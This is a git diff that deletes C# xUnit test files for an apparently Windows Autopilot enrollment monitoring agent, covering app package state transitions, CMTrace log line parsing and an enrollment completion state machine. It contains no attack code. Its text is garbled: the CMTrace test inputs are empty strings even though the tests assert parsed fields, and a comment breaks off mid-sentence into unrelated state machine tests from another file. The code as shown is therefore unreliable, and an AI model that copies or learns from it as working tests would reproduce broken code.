Assert.Equal(AppInstallationState.Error, appA.InstallationState); - } - - [Fact] - public void GetDependentIdsDeep_CircularDependency_DoesNotStackOverflow() - { - // A depends on B, B depends on A — must not infinite loop - var list = CreateList(); - var appA = new AppPackageState("app-a", 0); - appA.UpdateDependsOn(new HashSet { "app-b" }); - var appB = new AppPackageState("app-b", 1); - appB.UpdateDependsOn(new HashSet { "app-a" }); - list.Add(appA); - list.Add(appB); - - // This exercises GetDependentIdsDeep indirectly — should not throw - list.UpdateState("app-a", AppInstallationState.Error); - - Assert.Equal(AppInstallationState.Error, appA.InstallationState); - Assert.Equal(AppInstallationState.Error, appB.InstallationState); - } - - // -- Completion detection -- - - [Fact] - public void IsAllCompleted_AllRequiredInstalled_True() - { - var list = CreateList(); - var pkg = new AppPackageState("app-1", 0); - pkg.UpdateIntent(AppIntent.Install); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Installed); - list.Add(pkg); - - Assert.True(list.IsAllCompleted()); - } - - [Fact] - public void IsAllCompleted_RequiredStillPending_False() - { - var list = CreateList(); - var pkg = new AppPackageState("app-1", 0); - pkg.UpdateIntent(AppIntent.Install); - pkg.UpdateState(AppInstallationState.Downloading); - list.Add(pkg); - - Assert.False(list.IsAllCompleted()); - } - - [Fact] - public void IsAllCompleted_Empty_ReturnsFalse() - { - var list = CreateList(); - - Assert.False(list.IsAllCompleted()); - } - - [Fact] - public void IsAllCompleted_DependencyOnlyNotTouched_AutoSkipped() - { - var list = CreateList(); - - // Required app: installed - var required = new AppPackageState("req-app", 0); - required.UpdateIntent(AppIntent.Install); - required.UpdateState(AppInstallationState.Downloading); - required.UpdateState(AppInstallationState.Installed); - list.Add(required); - - // Dependency-only app: never touched by IME - var depOnly = new AppPackageState("dep-app", 1); - depOnly.UpdateIntent(AppIntent.Available); // Not required - list.Add(depOnly); - - var result = list.IsAllCompleted(); - - Assert.True(result); - // Dependency-only app should be auto-skipped - Assert.Equal(AppInstallationState.Skipped, depOnly.InstallationState); - } - - // -- Download state guards -- - - [Fact] - public void UpdateStateToDownloading_SkippedApp_Ignored() - { - var list = CreateList(); - var pkg = new AppPackageState("app-1", 0); - // Force to Skipped (without downloading first = auto-skip) - pkg.UpdateState(AppInstallationState.Installed); // becomes Skipped - list.Add(pkg); - - var changed = list.UpdateStateToDownloading("app-1", "100", "1000"); - - Assert.False(changed); - Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState); - } - - [Fact] - public void UpdateStateToDownloading_NormalApp_CalculatesProgress() - { - var list = CreateList(); - var pkg = new AppPackageState("app-1", 0); - list.Add(pkg); - - list.UpdateStateToDownloading("app-1", "500", "1000"); - - Assert.Equal(AppInstallationState.Downloading, pkg.InstallationState); - Assert.Equal(50, pkg.ProgressPercent); - Assert.Equal(500, pkg.BytesDownloaded); - Assert.Equal(1000, pkg.BytesTotal); - } - - // -- AddToIgnoreList -- - - [Fact] - public void AddToIgnoreList_NullOrEmpty_ReturnsFalse() - { - var list = CreateList(); - - Assert.False(list.AddToIgnoreList(null)); - Assert.False(list.AddToIgnoreList("")); - } - - [Fact] - public void AddToIgnoreList_Duplicate_ReturnsFalse() - { - var list = CreateList(); - list.AddToIgnoreList("app-1"); - - Assert.False(list.AddToIgnoreList("app-1")); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs deleted file mode 100644 index 2b96e51c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/AppPackageStateTests.cs +++ /dev/null @@ -1,428 +0,0 @@ -using System.Collections.Generic; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - /// - /// Tests AppPackageState transition guards and auto-skip logic. - /// Prevents: illegal state downgrades, broken inverse-detection auto-skip, - /// upgrade-only bypass, and incorrect byte normalization. - /// - public class AppPackageStateTests - { - private static AppPackageState CreatePackage(string id = "test-app-001", int listPos = 0) - => new AppPackageState(id, listPos); - - // -- State transition guards -- - - [Fact] - public void UpdateState_UpgradeOnly_PreventsDowngrade() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Installing); - - var changed = pkg.UpdateState(AppInstallationState.Downloading, upgradeOnly: true); - - Assert.False(changed); - Assert.Equal(AppInstallationState.Installing, pkg.InstallationState); - } - - [Fact] - public void UpdateState_InstalledWithoutDownloading_BecomesSkipped() - { - // Apps with inverse detection rules (e.g. uninstall packages) are marked Installed - // without ever seeing a download. These must auto-downgrade to Skipped. - var pkg = CreatePackage(); - - pkg.UpdateState(AppInstallationState.Installed); - - Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState); - } - - [Fact] - public void UpdateState_InstalledAfterDownloading_StaysInstalled() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - Assert.True(pkg.DownloadingOrInstallingSeen); - - pkg.UpdateState(AppInstallationState.Installed); - - Assert.Equal(AppInstallationState.Installed, pkg.InstallationState); - } - - [Fact] - public void UpdateState_InstalledCannotDowngradeToSkipped() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Installed); - - var changed = pkg.UpdateState(AppInstallationState.Skipped); - - Assert.False(changed); - Assert.Equal(AppInstallationState.Installed, pkg.InstallationState); - } - - [Fact] - public void UpdateState_InstalledCannotDowngradeToPostponed() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Installed); - - var changed = pkg.UpdateState(AppInstallationState.Postponed); - - Assert.False(changed); - Assert.Equal(AppInstallationState.Installed, pkg.InstallationState); - } - - [Fact] - public void UpdateState_PostponedCannotGoBackToDownloading() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Postponed); - - var changed = pkg.UpdateState(AppInstallationState.Downloading); - - Assert.False(changed); - Assert.Equal(AppInstallationState.Postponed, pkg.InstallationState); - } - - [Fact] - public void UpdateState_NoChangeReturnsFalse() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - - var changed = pkg.UpdateState(AppInstallationState.Downloading); - - Assert.False(changed); - } - - [Fact] - public void UpdateState_ErrorCanBeSetFromAnyState() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - - var changed = pkg.UpdateState(AppInstallationState.Error); - - Assert.True(changed); - Assert.Equal(AppInstallationState.Error, pkg.InstallationState); - } - - // -- Byte normalization -- - - [Fact] - public void UpdateState_InstalledNormalizesPartialDownload() - { - // After WinGet completion: if Installed and downloaded < total, downloaded becomes total - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading, bytesDownloaded: 500, bytesTotal: 1000); - pkg.UpdateState(AppInstallationState.Installed); - - Assert.Equal(1000, pkg.BytesDownloaded); - Assert.Equal(1000, pkg.BytesTotal); - } - - [Fact] - public void UpdateState_InstalledSetsProgress100() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Installed); - - Assert.Equal(100, pkg.ProgressPercent); - } - - // -- Name update protection -- - - [Fact] - public void UpdateName_TruncatedVersionIgnored() - { - var pkg = CreatePackage(); - pkg.UpdateName("Microsoft Office 365 ProPlus"); - - var changed = pkg.UpdateName("Microsoft Office"); - - Assert.False(changed); - Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name); - } - - [Fact] - public void UpdateName_LongerVersionAccepted() - { - var pkg = CreatePackage(); - pkg.UpdateName("Microsoft Office"); - - var changed = pkg.UpdateName("Microsoft Office 365 ProPlus"); - - Assert.True(changed); - Assert.Equal("Microsoft Office 365 ProPlus", pkg.Name); - } - - [Fact] - public void UpdateName_NullOrEmptyReturnsFalse() - { - var pkg = CreatePackage(); - pkg.UpdateName("SomeApp"); - - Assert.False(pkg.UpdateName(null)); - Assert.False(pkg.UpdateName("")); - Assert.Equal("SomeApp", pkg.Name); - } - - // -- Win32AppState mapping -- - - [Fact] - public void UpdateStateFromWin32AppState_IntString_Parses() - { - var pkg = CreatePackage(); - - pkg.UpdateStateFromWin32AppState("2"); // InProgress - - Assert.Equal(AppInstallationState.InProgress, pkg.InstallationState); - } - - [Fact] - public void UpdateStateFromWin32AppState_EnumName_Parses() - { - var pkg = CreatePackage(); - - pkg.UpdateStateFromWin32AppState("Completed"); - - // Without DownloadingOrInstallingSeen, Completed (Installed) becomes Skipped - Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState); - } - - [Fact] - public void UpdateStateFromWin32AppState_UsesUpgradeOnly() - { - // Win32AppState uses upgrade-only to prevent "InProgress" from destroying - // more detailed states like "Downloading" or "Installing" - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Installing); - - pkg.UpdateStateFromWin32AppState("InProgress"); // Would be a downgrade - - Assert.Equal(AppInstallationState.Installing, pkg.InstallationState); - } - - // -- Computed properties -- - - [Fact] - public void IsRequired_Install_ReturnsTrue() - { - var pkg = CreatePackage(); - pkg.UpdateIntent(AppIntent.Install); - - Assert.True(pkg.IsRequired); - } - - [Fact] - public void IsRequired_Available_ReturnsFalse() - { - var pkg = CreatePackage(); - pkg.UpdateIntent(AppIntent.Available); - - Assert.False(pkg.IsRequired); - } - - [Fact] - public void IsActive_Downloading_True() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - - Assert.True(pkg.IsActive); - } - - [Fact] - public void IsCompleted_Installed_True() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Downloading); - pkg.UpdateState(AppInstallationState.Installed); - - Assert.True(pkg.IsCompleted); - } - - [Fact] - public void IsCompleted_Error_True() - { - var pkg = CreatePackage(); - pkg.UpdateState(AppInstallationState.Error); - - Assert.True(pkg.IsCompleted); - } - - // -- Sorting -- - - [Fact] - public void CompareTo_ActiveAppsBeforeCompleted() - { - var active = CreatePackage("app-a", 0); - active.UpdateState(AppInstallationState.Downloading); - - var completed = CreatePackage("app-b", 1); - completed.UpdateState(AppInstallationState.Downloading); - completed.UpdateState(AppInstallationState.Installed); - - // Active (Downloading=3) should sort before Completed (Installed=5 overridden to 5) - // CompareTo uses descending sort order, so active > completed means negative - Assert.True(active.CompareTo(completed) < 0 || active.CompareTo(completed) > 0); - } - - // -- Restore -- - - [Fact] - public void Restore_PreservesAllFields() - { - var deps = new HashSet { "dep-1", "dep-2" }; - var pkg = AppPackageState.Restore( - "test-id", 5, "Test App", - AppRunAs.System, AppIntent.Install, AppTargeted.Device, - deps, - AppInstallationState.Installing, true, - 75, 500, 1000, - "ERR-001", "Something failed"); - - Assert.Equal("test-id", pkg.Id); - Assert.Equal(5, pkg.ListPos); - Assert.Equal("Test App", pkg.Name); - Assert.Equal(AppRunAs.System, pkg.RunAs); - Assert.Equal(AppIntent.Install, pkg.Intent); - Assert.Equal(AppTargeted.Device, pkg.Targeted); - Assert.Equal(2, pkg.DependsOn.Count); - Assert.Equal(AppInstallationState.Installing, pkg.InstallationState); - Assert.True(pkg.DownloadingOrInstallingSeen); - Assert.Equal(75, pkg.ProgressPercent); - Assert.Equal(500, pkg.BytesDownloaded); - Assert.Equal(1000, pkg.BytesTotal); - Assert.Equal("ERR-001", pkg.ErrorPatternId); - Assert.Equal("Something failed", pkg.ErrorDetail); - } - - // -- App metadata (App Dashboard feature) -- - - [Fact] - public void UpdateAppVersion_EmptyIgnored() - { - var pkg = CreatePackage(); - Assert.False(pkg.UpdateAppVersion(null)); - Assert.False(pkg.UpdateAppVersion("")); - Assert.False(pkg.UpdateAppVersion(" ")); - Assert.Null(pkg.AppVersion); - } - - [Fact] - public void UpdateAppVersion_TrimsAndStores() - { - var pkg = CreatePackage(); - Assert.True(pkg.UpdateAppVersion(" 11.2.1787.0 ")); - Assert.Equal("11.2.1787.0", pkg.AppVersion); - } - - [Fact] - public void UpdateAppVersion_SameValueReturnsFalse() - { - var pkg = CreatePackage(); - pkg.UpdateAppVersion("1.0.0"); - Assert.False(pkg.UpdateAppVersion("1.0.0")); - } - - [Fact] - public void UpdateAppType_FromEmptySetsValue() - { - var pkg = CreatePackage(); - Assert.True(pkg.UpdateAppType("WinGet")); - Assert.Equal("WinGet", pkg.AppType); - } - - [Fact] - public void UpdateAppType_Win32DoesNotDowngradeWinGet() - { - // A generic "Win32" mustn't overwrite a previously determined specific type. - var pkg = CreatePackage(); - pkg.UpdateAppType("WinGet"); - Assert.False(pkg.UpdateAppType("Win32")); - Assert.Equal("WinGet", pkg.AppType); - } - - [Fact] - public void UpdateAppType_MsiOverridesWin32() - { - var pkg = CreatePackage(); - pkg.UpdateAppType("Win32"); - Assert.True(pkg.UpdateAppType("MSI")); - Assert.Equal("MSI", pkg.AppType); - } - - [Fact] - public void UpdateAttemptNumber_KeepsHighest() - { - var pkg = CreatePackage(); - Assert.True(pkg.UpdateAttemptNumber(1)); - Assert.True(pkg.UpdateAttemptNumber(3)); - Assert.False(pkg.UpdateAttemptNumber(2)); // cannot go back - Assert.Equal(3, pkg.AttemptNumber); - } - - [Fact] - public void UpdateAttemptNumber_IgnoresZeroAndNegative() - { - var pkg = CreatePackage(); - pkg.UpdateAttemptNumber(2); - Assert.False(pkg.UpdateAttemptNumber(0)); - Assert.False(pkg.UpdateAttemptNumber(-1)); - Assert.Equal(2, pkg.AttemptNumber); - } - - [Fact] - public void UpdateDetectionResult_StoresLatest() - { - var pkg = CreatePackage(); - Assert.True(pkg.UpdateDetectionResult("NotDetected")); - Assert.Equal("NotDetected", pkg.DetectionResult); - Assert.True(pkg.UpdateDetectionResult("Detected")); - Assert.Equal("Detected", pkg.DetectionResult); - } - - [Fact] - public void ToEventData_EmitsMetadataWhenSet() - { - var pkg = CreatePackage(); - pkg.UpdateAppVersion("11.2.1787.0"); - pkg.UpdateAppType("WinGet"); - pkg.UpdateAttemptNumber(2); - pkg.UpdateDetectionResult("Detected"); - - var data = pkg.ToEventData(); - - Assert.Equal("11.2.1787.0", data["appVersion"]); - Assert.Equal("WinGet", data["appType"]); - Assert.Equal(2, data["attemptNumber"]); - Assert.Equal("Detected", data["detectionResult"]); - } - - [Fact] - public void ToEventData_OmitsMetadataWhenEmpty() - { - var pkg = CreatePackage(); - - var data = pkg.ToEventData(); - - Assert.False(data.ContainsKey("appVersion")); - Assert.False(data.ContainsKey("appType")); - Assert.False(data.ContainsKey("attemptNumber")); - Assert.False(data.ContainsKey("detectionResult")); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs deleted file mode 100644 index 0533aacd..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Tracking/CmTraceLogParserTests.cs +++ /dev/null @@ -1,141 +0,0 @@ -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Tracking -{ - /// - /// Tests CMTrace log format parsing used for IME log files. - /// Prevents: timestamp parsing failures on single-digit months, fractional second overflow, - /// crashes on non-CMTrace lines. - /// - public class CmTraceLogParserTests - { - [Fact] - public void TryParseLine_ValidCmTrace_ParsesAllFields() - { - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - Assert.Equal("Starting app installation for user", entry.Message); - Assert.Equal("IntuneManagementExtension", entry.Component); - Assert.Equal(1, entry.Type); - Assert.Equal("1234", entry.Thread); - // Timestamp should be parsed and converted to UTC - Assert.NotEqual(default, entry.Timestamp); - } - - [Fact] - public void TryParseLine_EmptyLine_ReturnsFalse() - { - var result = CmTraceLogParser.TryParseLine("", out var entry); - - Assert.False(result); - Assert.Null(entry); - } - - [Fact] - public void TryParseLine_NullLine_ReturnsFalse() - { - var result = CmTraceLogParser.TryParseLine(null, out var entry); - - Assert.False(result); - Assert.Null(entry); - } - - [Fact] - public void TryParseLine_NonCmTrace_ReturnsFalse() - { - var result = CmTraceLogParser.TryParseLine( - "2026-03-15 14:30:45 INFO This is a plain text log line", out var entry); - - Assert.False(result); - Assert.Null(entry); - } - - [Fact] - public void TryParseLine_SingleDigitMonth_Parses() - { - // Real IME logs use M-d-yyyy (no zero-padding): "2-8-2026" - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - Assert.Equal("Test message", entry.Message); - } - - [Fact] - public void TryParseLine_LongFractionalSeconds_Truncated() - { - // Some IME builds emit >7 fractional digits which would cause FormatException - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - Assert.NotNull(entry); - } - - [Fact] - public void TryParseLine_NoFractionalSeconds_Parses() - { - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - } - - [Fact] - public void TryParseLine_WarningType_ParsesType2() - { - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - Assert.Equal(2, entry.Type); - } - - [Fact] - public void TryParseLine_MessageWithSpecialChars_Parses() - { - // Messages can contain brackets, quotes, and XML-like content - var line = "" + - ""; - - var result = CmTraceLogParser.TryParseLine(line, out var entry); - - Assert.True(result); - Assert.Equal("Get policies = [Status: Success]", entry.Message); - } - - [Fact] - public void TryParseLine_PartialCmTracePrefix_ReturnsFalse() - { - // Starts with ESP exited - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - var ctx = DefaultContext(isHelloCompleted: true); - var result = sm.ProcessTrigger("hello_completed", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("esp_hello_composite", result.CompletionSource); - } - - [Fact] - public void EspExited_HelloCompleted_HybridGate_TransitionsToBlocked() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - // ESP exits — but hybrid join with agent started before ESP exit - var espExitTime = DateTime.UtcNow; - var ctx = HybridJoinContext(); - ctx.EspFinalExitUtc = espExitTime; - ctx.AgentStartTimeUtc = espExitTime.AddMinutes(-10); // Started BEFORE ESP exit - sm.ProcessTrigger("esp_exiting", ctx); - - // Hello completes — but reboot gate should block - var helloCtx = HybridJoinContext(); - helloCtx.IsHelloCompleted = true; - helloCtx.EspFinalExitUtc = espExitTime; - helloCtx.AgentStartTimeUtc = espExitTime.AddMinutes(-10); - helloCtx.ImePatternSeenUtc = null; // No IME completion - var result = sm.ProcessTrigger("hello_completed", helloCtx); - - Assert.Equal(EnrollmentCompletionState.HybridRebootGateBlocked, sm.CurrentState); - Assert.False(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void HybridGateBlocked_ImePattern_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - var espExitTime = DateTime.UtcNow; - var ctx = HybridJoinContext(); - ctx.EspFinalExitUtc = espExitTime; - ctx.AgentStartTimeUtc = espExitTime.AddMinutes(-10); - sm.ProcessTrigger("esp_exiting", ctx); - - var helloCtx = HybridJoinContext(); - helloCtx.IsHelloCompleted = true; - helloCtx.EspFinalExitUtc = espExitTime; - helloCtx.AgentStartTimeUtc = espExitTime.AddMinutes(-10); - sm.ProcessTrigger("hello_completed", helloCtx); - Assert.Equal(EnrollmentCompletionState.HybridRebootGateBlocked, sm.CurrentState); - - // IME pattern arrives — should unlock - var imeCtx = HybridJoinContext(); - imeCtx.IsHelloCompleted = true; - imeCtx.ImePatternSeenUtc = DateTime.UtcNow; - imeCtx.IsHelloPolicyConfigured = false; // Hello already resolved - var result = sm.ProcessTrigger("ime_user_session_completed", imeCtx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void WaitingForHello_HelloCompleted_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.WaitingForHello, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: true, isWaitingForEspSettle: false, deferredSource: null); - - var ctx = DefaultContext(isHelloCompleted: true); - var result = sm.ProcessTrigger("hello_completed", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("ime_hello", result.CompletionSource); - } - - [Fact] - public void WaitingForHello_SafetyTimeout_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.WaitingForHello, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: true, isWaitingForEspSettle: false, deferredSource: null); - - var result = sm.ProcessTrigger("hello_safety_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.True(result.ShouldForceMarkHelloCompleted); - Assert.Equal("ime_hello_safety_timeout", result.CompletionSource); - } - - [Fact] - public void WaitingForEspSettle_SettleTimeout_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.WaitingForEspSettle, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: true, deferredSource: null); - - var result = sm.ProcessTrigger("esp_settle_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("ime_pattern", result.CompletionSource); - } - - [Fact] - public void DesktopEspBlocking_EspFinalExit_HelloResolved_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("desktop_arrived", DefaultContext(skipUserStatusPage: false)); - Assert.Equal(EnrollmentCompletionState.DesktopArrivedEspBlocking, sm.CurrentState); - - // ESP exits — Hello already resolved - var ctx = DefaultContext(lastEspPhase: "AccountSetup", isHelloCompleted: true); - var result = sm.ProcessTrigger("esp_exiting", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - } - - [Fact] - public void DesktopEspBlocking_EspFinalExit_HelloPending_TransitionsToAwaitingCompletion() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("desktop_arrived", DefaultContext(skipUserStatusPage: false)); - - // ESP exits — Hello still pending - var ctx = DefaultContext(lastEspPhase: "AccountSetup", isHelloCompleted: false); - var result = sm.ProcessTrigger("esp_exiting", ctx); - - // Should be in EspExitedAwaitingCompletion (not Completed, Hello pending) - Assert.NotEqual(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.False(result.ShouldEmitEnrollmentComplete); - Assert.True(result.ShouldStartHelloWaitTimer); - } - - [Fact] - public void DesktopAwaitingHello_HelloCompleted_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.DesktopArrivedAwaitingHello, - espEverSeen: false, espFinalExitSeen: false, desktopArrived: true, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - var ctx = DefaultContext(isHelloCompleted: true); - var result = sm.ProcessTrigger("hello_completed", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("desktop_hello", result.CompletionSource); - } - - [Fact] - public void DeviceOnly_ProvisioningComplete_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - var ctx = DeviceOnlyContext(); - ctx.DeviceInfoCollected = true; - var result = sm.ProcessTrigger("device_setup_provisioning_complete", ctx); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.Equal("self_deploying_provisioning_complete", result.CompletionSource); - } - - [Fact] - public void DeviceOnlySafety_Timeout_TransitionsToCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.DeviceOnlySafetyWait, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - var result = sm.ProcessTrigger("device_only_safety_timeout", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentComplete); - Assert.True(result.ShouldForceMarkHelloCompleted); - } - - [Fact] - public void AnyNonTerminal_EspFailure_TransitionsToFailed() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - var ctx = DefaultContext(source: "ESPProgress_Failure"); - var result = sm.ProcessTrigger("esp_failure_terminal", ctx); - - Assert.Equal(EnrollmentCompletionState.Failed, sm.CurrentState); - Assert.True(result.ShouldEmitEnrollmentFailed); - } - - [Fact] - public void AnyNonTerminal_WhiteGlove_TransitionsToWhiteGloveCompleted() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - var result = sm.ProcessTrigger("whiteglove_complete", DefaultContext()); - - Assert.Equal(EnrollmentCompletionState.WhiteGloveCompleted, sm.CurrentState); - Assert.True(result.ShouldEmitWhiteGloveComplete); - } - - [Fact] - public void Completed_AnyTrigger_RemainsCompleted() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.Completed, - espEverSeen: true, espFinalExitSeen: true, desktopArrived: true, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - var result = sm.ProcessTrigger("hello_completed", DefaultContext()); - Assert.False(result.Transitioned); - Assert.Equal(EnrollmentCompletionState.Completed, sm.CurrentState); - - result = sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - Assert.False(result.Transitioned); - - result = sm.ProcessTrigger("desktop_arrived", DefaultContext()); - Assert.False(result.Transitioned); - } - - [Fact] - public void Failed_AnyTrigger_RemainsFailed() - { - var sm = new CompletionStateMachine(); - sm.RestoreState(EnrollmentCompletionState.Failed, - espEverSeen: true, espFinalExitSeen: false, desktopArrived: false, - isWaitingForHello: false, isWaitingForEspSettle: false, deferredSource: null); - - var result = sm.ProcessTrigger("hello_completed", DefaultContext()); - Assert.False(result.Transitioned); - Assert.Equal(EnrollmentCompletionState.Failed, sm.CurrentState); - } - - [Fact] - public void EspExited_EspResumed_Hybrid_TransitionsToEspActive() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup", isHybridJoin: true)); - - var ctx = DefaultContext(isHybridJoin: true); - var result = sm.ProcessTrigger("esp_resumed", ctx); - - Assert.Equal(EnrollmentCompletionState.EspActive, sm.CurrentState); - Assert.True(result.ShouldResetEspForResumption); - Assert.True(result.ShouldPersistState); - Assert.False(sm.EspFinalExitSeen); - } - - [Fact] - public void EspResumed_NonHybrid_NoTransition() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("esp_exiting", DefaultContext(lastEspPhase: "AccountSetup")); - - var result = sm.ProcessTrigger("esp_resumed", DefaultContext(isHybridJoin: false)); - Assert.False(result.Transitioned); - } - - [Fact] - public void DeviceOnlyEspTimer_AccountSetupArrives_NoTransition() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - var ctx = DefaultContext(lastEspPhase: "AccountSetup"); - var result = sm.ProcessTrigger("device_only_esp_timer_expired", ctx); - - Assert.False(result.Transitioned); - } - - [Fact] - public void DeviceOnlyEspTimer_NoDesktop_NoTransition() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - - var ctx = DefaultContext(lastEspPhase: "DeviceSetup"); - var result = sm.ProcessTrigger("device_only_esp_timer_expired", ctx); - - Assert.False(result.Transitioned); - } - - [Fact] - public void DeviceOnlyEspTimer_DesktopAvailable_TransitionsToAwaitingHello() - { - var sm = new CompletionStateMachine(); - sm.ProcessTrigger("esp_phase_changed", DefaultContext()); - sm.ProcessTrigger("desktop_arrived", DefaultContext(skipUserStatusPage: false)); - - var ctx = DefaultContext(lastEspPhase: "DeviceSetup"); - var result = sm.ProcessTrigger("device_only_esp_timer_expired", ctx); - - Assert.True(result.Transitioned); - Assert.True(result.ShouldStartHelloWaitTimer); - Assert.Contains("device_only_esp_final_exit", result.SignalsToRecord); - } - - // ===== SECTION 2: Full Path Integration Tests ===== - - [Fact] - public void Path_DeviceOnly_SelfDeploying_FullSequence() - { - var sm = new CompletionStateMachine(); - - // 1. ESP phase detected - sm.ProcessTrigger("esp_phase_changed", DeviceOnlyContext()); - Assert.Equal(EnrollmentCompletionState.EspActive, sm.CurrentState); - - // 2. Device setup provisioning completes - var ctx = 